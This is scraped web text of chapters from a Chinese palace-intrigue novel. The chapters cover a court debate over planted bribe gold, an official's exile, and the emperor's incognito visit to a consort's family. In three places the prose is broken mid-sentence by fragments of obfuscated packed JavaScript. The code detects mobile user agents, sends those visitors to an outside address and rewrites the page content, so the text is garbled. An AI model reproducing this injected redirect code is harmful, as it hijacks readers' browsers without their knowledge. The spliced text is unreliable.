l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908790|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的粗活，实在怕……办事不力，辜负了娘娘的信任。” 夏清圆静静打量着他，未再接这话头，转而问道：“兰婕妤中了‘落蕊香’，太医院开的解毒方子，你可看过？” “奴才看过。”周全收敛心神，答得利落，“方子是滋阴补血、调理胞宫的良方，正对落蕊香的毒性，用药配伍皆稳妥，并无不妥之处。” 夏清圆连日来心中总萦绕着段云柔那日的异常——那份过分的亲昵与冒失，实在不像太后悉心调教出来的人。 她心念微动，又多问一句：“她的脉案，是何人负责？” “回娘娘，如今太医院院正是季太医。按例，各位太医诊视后，脉案都需送至季太医处统一复核归档。”周全顿了顿，似想起什么，补充道，“娘娘若想知道得更详尽些……奴才回去可再查查档册。” 见夏清圆目露询问，他低声解释：“原本各宫主子的脉案都是季太医亲自整理，但这些日子季太医常魂不守舍的，旁人又都推诿，这琐碎差事……便落在了奴才头上。” 夏清圆了然——想必是周全人微言轻，又被同僚排挤，才接了这吃力不讨好的差事。 “你仔细再看一遍，”她吩咐道，“明日一早，将誊录好的脉案送来。” “奴才明白。” 夏清圆示意荔枝取赏银，周全却连连摆手，躬身道：“奴才蒙娘娘提拔已是天大的恩典，万不敢再受赏赐。” 他竟死活不肯收，最后几乎是逃也似地退了出去。 锦娘出了临华宫，沿着漫长的宫道疾行，夜风卷起她单薄的衣角。 她最终停在养心殿巍峨的殿宇前，经通传后，随吴全顺悄步踏入。 殿内只燃着几盏宫灯，萧翊坐在御案后，手中拿着一封密报。 “启禀皇上，”锦娘跪在金砖地上，声音平稳得不带一丝波澜，“奴婢已将原委……悉数告知婉昭媛。” 他未抬眼，只淡淡道：“往后不必再来禀朕。记着，婉昭媛平安，你全家则平安。” “奴婢明白。”锦娘深深叩首，悄无声息地退了出去。 吴全顺垂手侍立一旁，心中暗叹：皇后娘娘这次，怕是走了一步岔棋—— 皇上既要用夏家，送入临华宫的人，又岂会不留心？ 萧翊并未因此动怒。皇后打理宫务素来周全，此举虽出自私心，但人非圣贤，他理解这份出于中宫立场的防范。 “夏翀如何了？”他问。 “回皇上，夏大人与赵统领、宋御史，还有那三箱烫手的金子，依旧守在夏府门前。”吴全顺躬身道，“看样子，是要在冷风里熬上一整夜了。” “寒风……”萧翊搁下密报，望向窗外沉沉的夜色，唇角掠过一丝几不可察的弧度，“若能将他吹得更清醒些，也好。” 他声音低沉，带着某种深切的期许—— “明日朝上，朕倒要看看，他这块石头……能砸出多大的声响。” 14. 拉锯 卯时正，太和殿。 当三口沉重的樟木箱被禁军抬入汉白玉铺就的广场时，文官队列中响起一阵压抑的骚动。 曹扣军站在队列前端，面色阴沉。 他身后，陇西派系的官员们交换着隐秘的眼神，俱是惊疑不定——这种授人以柄的蠢事，真不是他们做的。 萧翊端坐龙椅，听完吴全顺的奏报，并未如夏翀预想般立刻雷霆震怒。 年轻帝王的指尖在鎏金扶手上轻轻叩击两下，目光如沉静的深潭，投向文官队列之首：“谢太傅，你怎么看？” 这一问，让夏翀心头一沉。 皇上把难题先抛给自己的老师，这本身就是一种态度：此事棘手，需先探探重臣的口风。 谢停云颤巍巍出列，雪白的胡须在晨光中微微颤动。 他沉吟片刻，声音苍老却清晰：“夏大人公心可鉴，当众晒金以证清白，老臣敬佩。然……” 这个“然”字，让夏翀的心悬了起来。 “三箱金子来历不明，若贸然兴大狱彻查，牵连必广。今科会试在即，数千学子齐聚京城，此时掀起波澜，恐会动摇士林人心，寒了天下学子的向学之志。” 谢停云顿了顿，语重心长，“老臣以为，不如先将金子封存内库，待会试结束、学子散尽，再行详查。以免……惊扰了抡才大典的祥和之气。” ——这是“拖”字诀。 夏翀听懂了。 谢停云并非反对查，而是深知科举牵一发而动全身。他是为了大局的“稳”，哪怕这“稳”要牺牲当下的公正。 “太傅此言差矣！” 出言反驳的竟是礼部右侍郎郑沅。这个平日不显山露水的中年官员，此刻激动得脸膛发红，声音因激愤而微微发颤：“此风绝不可长！若今日有人敢以三箱金子试探阅卷官，明日就敢以十箱、百箱买通考官！科场清誉何在？朝廷体统何在？” 他越说越激动，竟向前一步，朝御座深深一揖：“臣请陛下立下严旨，彻查此案！揪出幕后黑手，明正典刑，以儆效尤！” 郑沅说得慷慨激昂，唾沫星子几乎溅到前排官员的脸上。夏翀却敏锐地注意到，站在队伍前方的曹扣军几不可察地皱了下眉——那是种被冒犯的不悦。 郑沅是礼部的人，曹扣军的下属。此刻却跳出来主张严查，看来曹党内部，也不是铁板一块。 没等夏翀细想，又有数名言官出列附和郑沅。 一时间，“严查”、“肃清”、“以正视听”之声占了上风，在巍峨的大殿中回荡。 萧翊依旧不置可否。他缓缓转过视线，目光如探针般刺向另一个关键人物：“曹尚书，你是今科主考，你以为呢？” 曹扣军出列，步伐沉稳，带着久居高位者的从容：“陛下，臣以为，当查。” 他先定下基调，随即话锋一转：“但不可因噎废食。今科会试乃陛下登基后首开恩科，意义非凡。若此刻大张旗鼓追查贿赂案，风声鹤唳，人人自危，反伤了朝廷取士的祥和之气。” 他抬眼看向御座，眼神诚恳：“不如依谢太傅所言，先封存证物，稳定人心。待会试结束、榜单尘埃落定，再由三司会审，徐徐图之。如此，既不误抡才大典，又能给天下人一个交代。” ——这是“缓”字诀。 夏翀心中冰凉。曹扣军看似支持查，却把时间线不动声色地拉长到会试之后。一个月，足以让许多痕迹消失，许多人串供，许多“意外”发生。 他忽然明白了皇上的处境：谢停云求“稳”，曹扣军求“缓”，而底下那些叫嚣“严查”的官员，动机未明——是真为公义，还是想借机排除异己？ 皇上若强行推动彻查，就是与整个文官集团的惯性为敌。 就在此时，殿外传来通传—— “宣人证邓书满、刑录、韩孝闻觐见！” 三人鱼贯而入。 青衫布履在满殿朱紫蟒袍的映衬下，显得格外单薄刺目。他们显然从未见过这等阵仗，跨过高高的门槛时，刑录的腿明显软了一下，被邓书满暗中扶住。 跪拜时，三人的手臂都在微微发颤。 萧翊温声道：“抬起头来。昨夜之事，尔等细细道来，不必惊慌。” 邓书满性子最直，深吸一口气，抢先开口。他将昨夜所见所闻一一道来：那三口箱子如何突兀出现、夏翀如何敲锣聚众、如何在凛冽寒风中守了一夜……说到激动处，他的声音渐渐拔高： “学生等虽出身寒微，却也读圣贤书！夏大人若真有贪念，何必如此大张旗鼓、自曝其短？这分明是有人要构陷忠良，玷污科场清誉！” 韩孝闻连忙补充细节，言辞谨慎却条理清晰，将时间、地点、人物一一说清。 轮到刑录时，这面容肃穆的书生忽然重重叩首，前额触在冰凉的金砖上，发出沉闷一响。 “皇上！”他抬起头，眼中燃烧着一种近乎悲愤的光，“学生昨夜守金时，曾与夏大人、宋大人谈及科场积弊。今日既得见天颜，学生斗胆——要告第二桩状！” 满殿哗然。 曹扣军厉声喝道：“放肆！一介布衣，安敢在朝堂上——” “让他说。” 萧翊的声音不高，却像一柄无形的利刃，瞬间斩断了所有嘈杂。大殿顷刻间静得能听见烛火摇曳的细微声响。 刑录的喉结滚动了一下，声音因激动而嘶哑：“学生要告南襄王！告他在江陵强占民田三千亩，拆毁民宅百余间，逼得五十户百姓流离失所！告他私扩藩邸，规格逾制，所用石材木料皆从江陵百姓手中强征，分文不给！” 他每说一句，底下就有臣子的脸色白一分。几个站在后排的官员悄悄向后挪了半步，仿佛要与他划清界限。 “月前，江陵学子联名上书，状纸递到通政司便石沉大海！”刑录的声音愈发激越，“皇上只罚了江陵总督的俸禄，可南襄王呢？” 他猛地抬头，目光如炬：“学生今日冒死再问——‘亲王犯法，与庶民同罪’，此言可是虚设？！朝廷法度，可是只为管束平民百姓？！” 死寂。 萧翊沉默地看着这个跪在殿中的书生。晨光从高大的殿门斜射进来，在刑录青衫上投下一道明亮的光斑，衬得他整个人如一把出鞘的剑。 良久，萧翊忽然轻笑一声。 那笑声很轻，却让满朝文武心头一寒。 “刑录，”年轻帝王缓缓开口，每个字都咬得清晰，“你可知，诬告亲王，是何罪？” “学生知道。”刑录昂首，脖颈绷出倔强的线条，“杖一百，流三千里。但学生手中，有江陵三百户百姓的联名血书，有被强占田地的地契副本，有南襄王府的逾制图纸——” 他从怀中取出一卷厚厚的文书，纸张边缘已经磨损泛黄。他双手高举过头顶，声音斩钉截铁：“今日既敢开口，便已将生死置之度外！若有一句虚言，甘受极刑！” 吴全顺快步下阶，接过那卷沉甸甸的血书，躬身呈至御前。 萧翊展开册子。第一页，密密麻麻的暗红色指印触目惊心，像无数双绝望的眼睛。他一页页翻过去，翻得很慢，殿内只余纸张摩擦的沙沙声，以及某些官员压抑的呼吸声。 翻到最后一页，他合上册子，抬眼看向刑录：“你是个不怕死的。” 刑录梗着脖子：“学生只怕死得不明不白！” “好。” 萧翊将血书轻轻搁在紫檀御案上，目光如鹰隼般扫过满殿文武。那目光所及之处，官员们纷纷垂首，不敢直视。 “昨夜夏翀府前晒金，今日刑录殿前告状。”年轻帝王的声音在大殿中回荡，带着某种沉甸甸的重量，“一桩关乎科场清白，一桩关乎宗室法度。诸卿以为，朕当如何处置？” 殿内的气氛陡然变了。 先前那些慷慨激昂主张“严查金子案”的官员们，此刻却集体失声。 力主严查的郑沅也垂着头，盯着自己官靴上精致的云纹，仿佛那纹 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曹扣军却再次出列，声音沉稳中透着反对：“陛下，此举恐会滋生小人诬告之风，扰乱考场秩序。且督查班权力过大，若无制衡，恐成祸端，反为科场之害。” “曹尚书多虑了。” 赵羯洪亮的声音骤然响起。这位禁军统领大步出列，铠甲铿锵：“末将愿领禁军百名精锐，专司护卫考场、缉拿舞弊！至于诬告——”他豹眼圆睁，“查实者赏，诬告者罚，天经地义！末将倒要看看，哪个宵小敢在禁军眼皮底下耍花样！” “武夫安知文事？”曹扣军身后，一位御史忍不住冷笑出声，“科举乃抡才大典，清静之地，岂容兵戈介入，玷污斯文？” “玷污？”赵羯转身怒视，声如洪钟，“若斯文就是收受贿赂、买卖题目、坑害寒门学子，那这斯文——”他猛地提高音量，“不要也罢！” “你——！” 眼看又要吵成一团，萧翊忽然抬手。 只是一个简单的动作，满殿瞬间寂静。 “既然曹卿担心权力失衡，那督查班便分设文武两司。武司由赵统领负责，领禁军百人，专司考场护卫、缉拿舞弊；文司……” 他的目光在文官队列中缓缓扫过，如同在挑选一柄最合适的刀。 最终，目光落在了一个人身上。 “文司由吏部侍郎周明堂统领。” 殿内顿时一静。 周明堂，出身江南寒门，凭真才实学一步步爬到侍郎之位，是朝中有名的“不通人情”、“刻板守规”。 更重要的是——他与曹扣军不睦已久。三年前一次朝议，周明堂当众驳斥曹扣军“用人唯亲”，两人几乎在殿上撕破脸皮。 这是个极其狡猾的安排：用寒门出身的周明堂制衡主考官曹扣军，又用周明堂的“刻板”来保证文司不会徇私舞弊。 而赵羯的武司，则确保了执行力度。 曹党官员的脸色难看至极，却无法反驳——皇上用的是“制衡”之策，冠冕堂皇，无懈可击。 周明堂出列，面容瘦削严肃，躬身道：“臣领旨。必秉公执法，不负圣恩。” 曹扣军硬着头皮，再次开口：“皇上圣明！至于南襄王案……” 他斟酌着词句，“毕竟是皇室宗亲，即便有所逾矩，也当时光降旨申饬，徐徐图之。骤然严查，恐伤皇室体面，亦让藩王不安——” “曹尚书。” 萧翊打断他，语气陡然转冷，如腊月寒风刮过殿宇。 “朕登基那日，曾于太庙前立誓：‘法行于贱而屈于贵，天下将何所措手足？’此言，你可还记得？” 曹扣军额角渗出细密汗珠，声音发紧：“臣……记得。” “记得就好。” 萧翊缓缓站起身。玄色龙袍在晨光中泛起幽暗的光泽，绣金蟠龙仿佛要破衣而出。年轻帝王的身影在御座前拉出长长的影子，笼罩了半个大殿。 “今日，朕便让天下人看看，朕的‘徐徐图之’，是什么样子。” 15. 出宫 “传旨。”萧翊的声音陡然拔高，字字如铁，砸在金砖地上铿锵作响： “第一，科场舞弊案，由禁军与御史台共查！‘翰林督查班’即日成立，赵羯领禁军百人护卫考场，周明堂为督察使，专司受理科举期间一切举报！凡举报属实者，赏银百两，供其在京考试一应花销！” “第二，”他目光如电，扫过下方面色各异的考官们，“今科考题，重拟！” 这话一出，考官中数人脸色骤变。 萧翊将他们的反应尽收眼底，唇角勾起一抹冰冷的弧度： “新考题，就以‘土地改制’为题！朕要听听天下学子，对田亩、赋税、兼并、民生，究竟有何见解！是空谈仁义，还是真有经世之策！” 他顿了顿，一字一顿，声音如重锤击鼓： “考题今日由朕公之于朝。若再有漏题、卖题之事发生——” 整个大殿的空气仿佛凝固了。 “涉事考官，罢官夺职，永不录用！行贿受贿者，依律严惩，绝不容情！” 就在所有人都以为尘埃落定时，萧翊忽然问向一直沉默的大理寺卿向维明。 这位三品大员站在队列中段，从始至终未发一言，仿佛此事与他毫无干系。 “向卿。” 向维明浑身一颤，慌忙出列：“臣在。” “昨夜夏翀派人至你府上求援，你称病不见。”萧翊的声音平静得可怕，“今日，你可有话要说？” 向维明扑通跪倒，金砖冰凉刺骨。他额头触地，声音发颤：“臣……臣昨夜确感风寒，昏沉不醒，不知夏大人曾派人……” “科场重案，首告登门，卿称病不朝，闭门不出。” 萧翊打断他，缓缓从御座上起身，一步步走下丹墀。玄色龙袍的下摆拂过汉白玉台阶，发出轻微的窸窣声。 他在向维明面前停下。 年轻帝王俯视着这位匍匐在地的三品大员，声音里透着一股刺骨的寒意： “你掌天下刑名，总宪京畿。先有举子聚于通政司鸣冤，你暴力驱逐；后有阅卷官门前现万金赃款，你称病不见。国之抡才大典，君之信赖重托，在你眼中——” 萧翊顿了顿，每个字都像冰锥： “竟不如你府中一帖安神汤药？” “臣冤枉！臣确有不适……”向维明以头抢地，咚咚作响。 “朕要的不是你多能干，”萧翊的声音陡然拔高，在大殿中回荡，“朕要的是你站在那儿！可连‘站在那儿’，你都不愿，都不敢！” 他转身，面向满朝文武，声音如雷霆： “你这病，病在骨髓。不是太医能医的。” “朕，今日便替你治了。” 有曹党官员嘴唇翕动，想要出列为向维明说话，却被曹扣军一个凌厉的眼神按住。 曹扣军看懂了：向维明今日，非死不可。 这位大理寺卿并非愚蠢。他的“病”，是一次基于数十年官场经验的精准避险——在局势不明时，不表态、不站队、不沾手，这是旧日官场最稳妥的生存之道。 他却错误判断了两件事：皇上的决心，和新游戏的规则。 他以为这仍是往常一样的派系倾轧，皇帝最终会平衡、会妥协、会各打五十大板。他没想到，萧翊要的是“掀桌子”，而非“换棋子”。 在新规则里：“不作为”等于“不忠”，避险等于无视皇权。 皇上此刻杀一个有党派的臣子，是党争；杀一个墙头草，则是在告诉所有人：朕不要你们站队，朕要你们效死。 旧的为官之道，到此终结！ “臣罪该万死！罪该万死！”向维明浑身抖如筛糠，官帽歪斜，露出花白的鬓发。 “你是该死。” 萧翊的语气陡然转厉，如出鞘利刃： “朕登基之初便说过，朝堂之上，容不得首鼠两端、明哲保身之徒！科场事关国本，更容不得半点含糊！” 他缓缓转身，重新踏上丹墀。玄色龙袍如垂天之云，在晨光中铺展： “向维明，玩忽职守，首鼠两端，即日起——” 满殿屏息。 “罢官，流放琼州，永不叙用！” 不是斩立决，是流放。 曹扣军猛地抬眼，第一次真正正视这位年轻帝王的手段。 满殿死寂中，几乎所有人都读懂了这场“流放”背后的深意：皇上要改革，但不会一上来就血流成河。 皇上在给机会，但也划清了底线：旧的生存智慧，在新朝无效。 退朝后，太和殿外。 曹扣军脸色铁青，快步走出巍峨的殿门，几名心腹官员紧随其后，如同惊弓之鸟。 “尚书大人，皇上此举，来势汹汹啊！”一个中年官员压低声音，额角冷汗未干。 “督查班，改考题，流放向维明……这是要对我们赶尽杀绝！” 曹扣军猛地停步，回头瞪视说话之人，眼神如刀：“慌什么！” 他环顾四周，确定无人靠近，才咬牙低声道：“考题是‘土地改制’，哼，天下学子，有几个真懂农事田亩？多半还是要引经据典，空谈仁政。决定权，还在我们手里！” “至于督查班……”他眼中寒光闪烁，“想办法塞人进去。或者，找几个‘合适’的学子，去告几个无伤大雅的状，先把水搅浑，让他们疲于奔命。” 他顿了顿，声音压得更低：“最重要的是南襄王案……绝对不能让刑录那样的愣头青继续闹下去。给南襄王递个话，让他自己把屁股擦干净，该还的田还了，该补的钱补了，把风波平息了！” 最后，他几乎是咬着牙说：“还有，查清楚，那三箱要命的金子，到底他娘的是谁送的！” 另一侧，夏翀站在汉白玉阶上，望着百官鱼贯而出的背影。 初升的朝阳将他的影子拉得很长，投在光洁的阶面上。他第一次觉得，这身深绯色的官服，穿在身上有了重量。 “皇上也不容易，”宋方程跟上来，与他并肩而立，苦笑摇头，“每一步都在走钢丝。设督查班，用了周明堂制衡曹扣军；借重拟考题，放出土地改制的风声试探既得利益者；处置向维明，流放而非问斩……” 他转头看向夏翀，眼神复杂：“这都是在用最小的代价，撬动最沉的巨石。稍有不慎，就是满盘皆输。” 夏翀默然良久，望着远处宫墙上盘旋的晨鸦。 叹道：“为政者，非不欲为，实不能骤为也。” 皇上不是不想雷厉风行，而是不能。 如今的朝堂如一台锈蚀了数十年的巨钟，敲得太急，钟会碎；只能一下，一下，耐心地敲，直到它重新响起清越的声音。 哪怕这过程，漫长而孤独。 不远处，曹扣军正与几位陇西籍官员低声交谈，面色阴沉如铁。 察觉到夏翀的目光， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908792|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷冷瞥来一眼，那眼神如毒蛇吐信，随即转身，带着随从快步离去。 夏翀读懂了那眼神里的信息：这事，没完。 “感觉如何？”宋方程似笑非笑地问，顺着他的目光看去。 “回翰林院吧。”夏翀转身，深绯色的官袍在晨风中扬起一角，“考试，就要开始了。” 他的声音很平静，却带着某种一往无前的决意。 百官散尽，太和殿前恢弘的汉白玉广场空阔寂寥，只剩下风声，以及那三口被御前侍卫严密看守、在晨光下沉默闪烁的樟木箱。 萧翊没有回养心殿，而是独自登上了太和殿后的云台。 此处是皇城制高点，举目望去，棋盘般的街坊、蝼蚁般的行人、远方依稀的西山轮廓，尽收眼底。 晨风凛冽，吹动他玄色龙袍的广袖，猎猎作响。 吴全顺垂手侍立在三步之外，不敢打扰。 良久，萧翊缓缓开口，声音被风吹得有些散，却字字清晰：“替朕准备一套合身的青衿，料子普通些。再拟一份身份文书……名字就用‘宋逍’，籍贯写…扬州。” 吴全顺猛地抬头，眼中闪过巨大的惊愕，但他瞬间压下了所有疑问，只深深躬身：“是。陛下……要离宫？” 萧翊望着宫墙外更广阔的天地，嘴角勾起一丝极淡、近乎自嘲的弧度，“朕是天下百姓的父母官，却从未真正走进过他们中间。” “既然要‘土地改制’，朕这个出题人，总得先知道，‘土地’和‘人’究竟是何滋味。此番会试，朕便以学子身份，从头到尾，走上一遭。你替朕把身份做周全了。” 吴全顺听得心惊肉跳，这简直是亘古未闻的奇想，风险无法估量。 但他深知皇帝心意已决，只能颤声应道：“奴才……即刻去办。护卫之事……” “赵羯知道该怎么做。” “是。” 吩咐完这些，萧翊脸上的冷峻之色稍霁，忽然问了一个风马牛不相及的问题：“婉昭媛此刻在做什么？” 吴全顺一愣，想起皇上昨日的吩咐，忙道：“回皇上，按惯例，婉主子此时应在用早膳，过后……或许会准备去探望兰婕妤。” “嗯。”萧翊点了点头，指尖无意识地在冰冷的汉白玉栏杆上敲击了几下。 一个更大胆、甚至有些荒唐的念头，毫无征兆地撞入他的脑海—— 既然要走入市井，便要沾上人间烟火。 夏清圆身上有一种他所见过的后宫女子都没有的特质——那种未被礼教完全驯化的、被烟火气滋养的好奇与鲜活。 带她出去。 这个念头一旦升起，便如野火燎原，带着不容置疑的吸引力。 这无关朝政，甚至也并非全然关乎情爱。更像是一个长久负重前行的人，忽然想从沉重的冠冕下偷得半日闲暇，而身边，恰好有一个能让他觉得这“闲暇”或许会很有趣的人。 萧翊转身，步伐比来时轻快了些许，玄色衣袂在晨风中扬起。 “一刻钟后，你去临华宫通知婉昭媛。” “皇上？”吴全顺小跑着跟上。 “传口谕，让她准备一下，”萧翊的声音里带着一种近乎恶作剧般的陌生愉悦，以及不容置疑的决断，“轻车简从，不必盛装。告诉她—— 他顿了顿，想象着夏清圆听到时可能会有的表情，唇角笑意更深： “朕带她出宫玩玩。” 16. 热闹 夏清圆从兰婕妤处回来，耳畔仿佛还萦绕着那断断续续的哭声，像是被女鬼缠住了似的—— 她本是揣着几分疑虑去探段云柔口风的，谁知连一句正经话都没插进去，全程只听了一场梨花带雨的独角戏。 段云柔先是扑在枕上哭得肝肠寸断，说自己身为女子再不能生育，在宫里便没了指望。 待夏清圆搜肠刮肚挤出几句干巴巴的安慰，她又抽噎着说起亲娘梅侧妃在康王府如何受人搓揉，母女二人如何命苦，怕是要成太后的弃子了。 那一把把热泪砸下来，倒把夏清圆心尖上那点说不清道不明的疑云浇得烟消云散—— 世间哪有女子会拿自己的身子开这等玩笑？ 她揉着发胀的太阳穴刚踏进临华宫，便见周全已候在廊下。 他换上了掌事太监的靛蓝宫服，腰背挺得笔直，倒比从前在太医院时多了几分气度，只是神态依旧谦恭：“主子，太医院近两月的脉案，奴才都誊抄妥了。” “这样机要的东西，你就轻易拿到了？”夏清圆微讶。 “宫中向来是看人下菜碟的。”周全垂首，声音平稳，“季太医今日又不在，其余人见是娘娘要调养身子，自然行个方便。奴才只说借来参详，悄悄誊录的，并未惊动旁人。” “你果真‘周全’。”夏清圆莞尔，从荔枝手中接过一只沉甸甸的荷包递过去。 “娘娘待奴才已是天恩，奴才做的都是分内事，不敢讨赏。”周全连连摆手。 “本宫打听过了，你的俸禄都送到宫外奉养双亲了。你爹娘身子不好，抓药看诊处处要用钱。” 夏清圆将荷包轻轻塞进他怀里，话说得直白却熨帖，“你既进了临华宫，便是本宫身边人。你没了后顾之忧，本宫才好放心差遣你。” 一番话恩威并施，说得周全心头发热，躬身道：“奴才必定尽心竭力，万死不辞。” “可别。”夏清圆噗嗤一笑，腮边漾开两个浅浅的梨涡，“咱们都好生活着。” 周全也跟着笑了。他原本心中尚存犹豫的事，此刻反倒定了主意——权当投名状罢。 他上前半步，压低声音：“还有一事……奴才尚未确证，只觉着可疑。” “你说。”夏清圆捻了块奶香芋糕，小口咬着。 “季太医……近来似乎手头颇紧。”周全语速平缓，条理清晰，“奴才前些日子整理药柜时发觉，好些市价昂贵的药材消耗得飞快。核对药方时又发现，季太医开的剂量已超出常理，可煎出的药汤分量却无异常。” “你是说……他偷宫里的药材出去倒卖？” “是。”周全点头，“按说季太医身为院正，俸禄不薄，从前从未做过这等事……” “从何时开始的？”夏清圆啜了口温甜的梅花汤，舒服地眯起眼。 “奴才对照药方，约莫是十月二十前后。” 夏清圆随手翻到十月二十那页脉案，眸光倏然定住——页首赫然写着“贤妃产后调养”。 她尚未深想，外头忽然传来荔枝压低的声音：“主子，凤仪宫的秋霜姑娘来了，说是皇后娘娘有赏赐。” 殿内气氛微微一凝。夏清圆与周全对视一眼，将脉案合上递给荔枝收好，这才端正神色：“请进来。” 秋霜领着个小宫女入内，手中捧着一个锦盒，笑容得体：“奴婢给婉昭媛请安。皇后娘娘说，今日天寒，想起昭媛前阵子受了惊吓，特赐下上好的血燕，给昭媛压惊补身。” 夏清圆忙起身谢恩。秋霜却未立刻离开，目光似不经意地扫过周全身上的新宫服，笑道：“周公公如今在临华宫当差，倒是比在太医院时更显精神了。娘娘还说，临华宫有了掌事太监，一应事务更该周全才是，万不可再出纰漏。” 这话听着是关怀，实则敲打。夏清圆心头明镜似的，面上却依旧温婉：“请秋霜姑娘回禀娘娘，臣妾定当谨记，不负娘娘厚爱。” 秋霜这才满意地颔首，目光又落到夏清圆手边那盏未喝完的梅花汤上，似随口道：“这汤闻着清甜，可是小厨房新制的？” 夏清圆心中警铃微作，面上笑意不改：“不过是寻常的梅花、冰糖熬煮，锦娘顺手做的。若娘娘不嫌弃，臣妾让锦娘将方子抄录一份，送至凤仪宫。” “那便有劳昭媛了。”秋霜这才带着人离去。 殿门重新合上，夏清圆缓缓坐回椅中，方才温婉的笑意淡去。皇后赏赐是恩，也是提醒——提醒她仍在凤仪宫的视线之内。 周全垂手立在一旁，低声道：“主子，秋霜姑娘方才……似乎多看了奴才两眼。” “无妨。”夏清圆重新端起那盏已微凉的汤，语气平静，“你既是我临华宫的人，行事坦荡即可。至于皇后娘娘的关切……” 她抬眼，眸中闪过一丝极淡的锐光，“我记下了。” 门口又是一阵喧哗，吴全顺小步疾趋而入，身后跟着的小太监捧着几套民间样式的衣裙。 老太监脸上堆着比平日更殷勤三分的笑纹，褶子都挤到了一处：“奴才给婉昭媛请安。皇上有旨，请娘娘轻车简从，随驾出宫。” “出宫？！”夏清圆杏眼霎时亮如星子，几乎要从椅子上跳起来，“皇上可说去何处？” 吴全顺不提科举之事，只照搬原话，眼角笑纹更深：“皇上金口玉言——‘带娘娘出宫玩玩’。” “荔枝！”夏清圆喜得两腮飞红，像抹了上好的胭脂，“快，收拾包袱！” “禀娘娘，”吴全顺连忙补充，“皇上吩咐，此行隐秘，只带一名贴身侍女，轻装即可。” 戌时初刻，马车已在神武门侧巷等候。萧翊坐在车内，听见外头动静便掀帘望去—— 这一看，险些失笑。 吴全顺胸前背后挂了三个鼓囊囊的包袱，走得踉踉跄跄。 后头的夏清圆一身淡粉襦裙，左臂挎一个锦缎包袱，右臂挽一个蓝布包裹，发间那支步摇被折腾得摇摇欲坠。 荔枝紧随其后，同样大包小裹。 萧翊唇角难得地抽动了一下，示意扮作车夫的霍刀去接应。 吴全顺喘着粗气爬上马车，话都说不连贯：“启…启禀皇上，婉…婉昭媛到了。” “臣妾见过皇上。”夏清圆一钻进车厢，尚未喘匀气便挽住萧翊的手臂，仰起的小脸在灯下莹莹生光，“皇上真好，出宫这样的美事单想着臣妾。” 萧翊觉得她实在有趣，抬手替她拭去额角细汗，调侃道：“这是将全副家当都搬来了？” “差不多。”她答得理直气壮，“若皇上是寻常人家的女婿，头一回带新媳妇回门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自出了宫门，萧翊脸上的笑意便没断过。 此刻见夏府仆从这般慌乱模样，再看身侧大包小裹、满脸期待的夏清圆……夏府这一家子，真是一个赛一个的有趣。 难得，这个家庭在骤然经历风波后，依然保持着眼前这样生机勃勃的混乱与温暖。 不多时，夏翀脚下生风地冲了出来，手里竟攥着根藤条，袖口捋到肘间，一副要教训人的架势—— “皇、皇……”目光触到萧翊的瞬间，他舌头打了个转，藤条“啪嗒”掉在地上，“黄公子？您怎么来了？” 夏清圆美目一瞪：“爹！你又打青枫！” “皇…黄公子快请进！”夏翀忙将藤条踢到一旁，躬身将人往里迎。 穿过月洞门进了内院，眼前景象更是热闹—— 夏青枫赤着上身跪在前厅青砖地上，背脊上横着几道新鲜的红痕，显然刚挨过家法。 少年却浑不在意似的，听见动静回过头来，露出一张与夏清圆极为肖似的俊秀面孔，眉眼鲜活灵动。 他先冲夏清圆挑了挑眉，目光落到萧翊身上时，竟咧嘴一笑，露出两颗虎牙： “二姐夫！” 17. 家宴 “诸位…坐啊！”萧翊难得感到一丝窘迫。 此刻情形着实有些奇特：他独坐主位，面前满桌菜肴升腾着热气，四周却站了满满一屋子人。夏翀垂手侍立在一旁，神色恭敬得近乎紧绷。 “今日是私访，此乃家宴。”萧翊放缓语气，目光落向夏翀，“夏卿，坐下说话。” “臣不敢！臣万万不敢！”夏翀连连摆手，眼神却不由自主地往门口瞟，像在期盼什么救星。 恰在此时，门房小厮喘着气跑进来，怀里捧着几件簇新的银器：“老爷！买回来了！” 夏翀如获至宝，接过银筷银勺，手腕微微发颤，却坚持要亲自为每一道菜试毒：“皇上…容臣先行验过。” 萧翊看着他那副郑重其事、如临大敌的模样，一时哭笑不得。 余光瞥向夏清圆，她也正陪着小心讪笑，那双灵动的眸子里分明写着：您要是在这儿出点岔子，我们全家都得跟着掉脑袋。 最终还是夏青枫打破了这微妙的僵局。 “都傻站着干什么？吃饭啊！” 他换了身干净衣裳的大步流星走过来，大大咧咧就在萧翊旁边的椅子上一坐，顺手拿起一双新筷子，对自家老爹那几乎要瞪出来的眼睛视若无睹。 他先夹了个炸得金黄酥脆的茄盒，放到萧翊面前的碟子里：“二姐夫尝尝，我娘的拿手菜，宫里也吃不着这味儿。” 随即又一把将还在发怔的夏清圆拉到身边坐下，揶揄道：“二姐，你在家时不挺机灵的么？怎么进宫没几天，倒变傻了？” “你放肆！”夏翀终于忍无可忍，低喝一声，胡子都气得翘了起来，“你是什么东西，敢与天子同席共箸！” 萧翊却并未介怀。 夏青枫这般不拘小节的爽利劲儿，反倒对了他的脾性。 眼前这带着拘谨却真实的亲近，以及这热闹得有些混乱的家庭氛围，让他心底某处生出一股陌生的暖意。 仿佛某种长久以来求而不得的东西，就这样不经意地触手可得。 